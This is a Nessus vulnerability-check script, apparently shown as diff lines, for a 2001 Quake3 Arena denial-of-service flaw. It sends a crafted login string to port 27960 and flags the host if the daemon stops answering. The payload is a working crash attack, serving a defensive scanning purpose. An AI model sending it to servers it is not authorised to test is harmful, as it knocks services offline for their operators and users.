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- #
- # This script was written by Michel Arboi <arboi@alussinan.org>, starting
- # from miscflood.nasl
- #
- # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
- # Erik Anderson <eanders@carmichaelsecurity.com>
- # Added BugtraqID and CVE
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10931);
- script_bugtraq_id(3123);
- script_version("$Revision: 1.7 $");
- script_cve_id("CAN-2001-1289");
- name["english"] = "Quake3 Arena 1.29 f/g DOS";
- name["francais"] = "DΘni de service contre Quake3 Arena 1.29 f/g";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "It was possible to crash
- the Quake3 Arena daemon by sending a specially
- crafted login string.
-
- A cracker may use this attack to make this
- service crash continuously, preventing you
- from playing.
-
- Solution: upgrade your software
-
- Risk factor : Low";
-
-
- desc["francais"] = "Il a ΘtΘ possible de
- faire planter le dΘmon Quake3 Arena en lui
- envoyant une sΘquence de connexion spΘciale.
-
- Un pirate peut exploiter cette faille
- pour faire planter continuellement ce
- service, vous empΩchant ainsi de jouer.
-
- Solution: mettez α jour votre logiciel
-
- Facteur de risque : Bas";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Quake3 Arena DOS";
- summary["francais"] = "DΘni de service contre Quake3 Arena";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_DESTRUCTIVE_ATTACK);
-
- script_copyright(english:"This script is Copyright (C) 2001 Michel Arboi",
- francais:"Ce script est Copyright (C) 2001 Michel Arboi");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
-
- script_family(english:family["english"], francais:family["francais"]);
- script_require_ports(27960);
- exit(0);
- }
-
- #
-
- function test_q3_port(port)
- {
- if (! get_port_state(port))
- return(0);
-
- soc = open_sock_tcp(port);
- if (!soc)
- return(0);
- s = string(raw_string(0xFF, 0xFF, 0xFF, 0xFF), "connectxx");
- send(socket:soc, data:s);
- close(soc);
-
- soc = open_sock_tcp(port);
- if (! soc)
- {
- security_hole(port);
- }
-
- if (soc)
- close(soc);
- return(1);
- }
-
- test_q3_port(port:27960);
-
-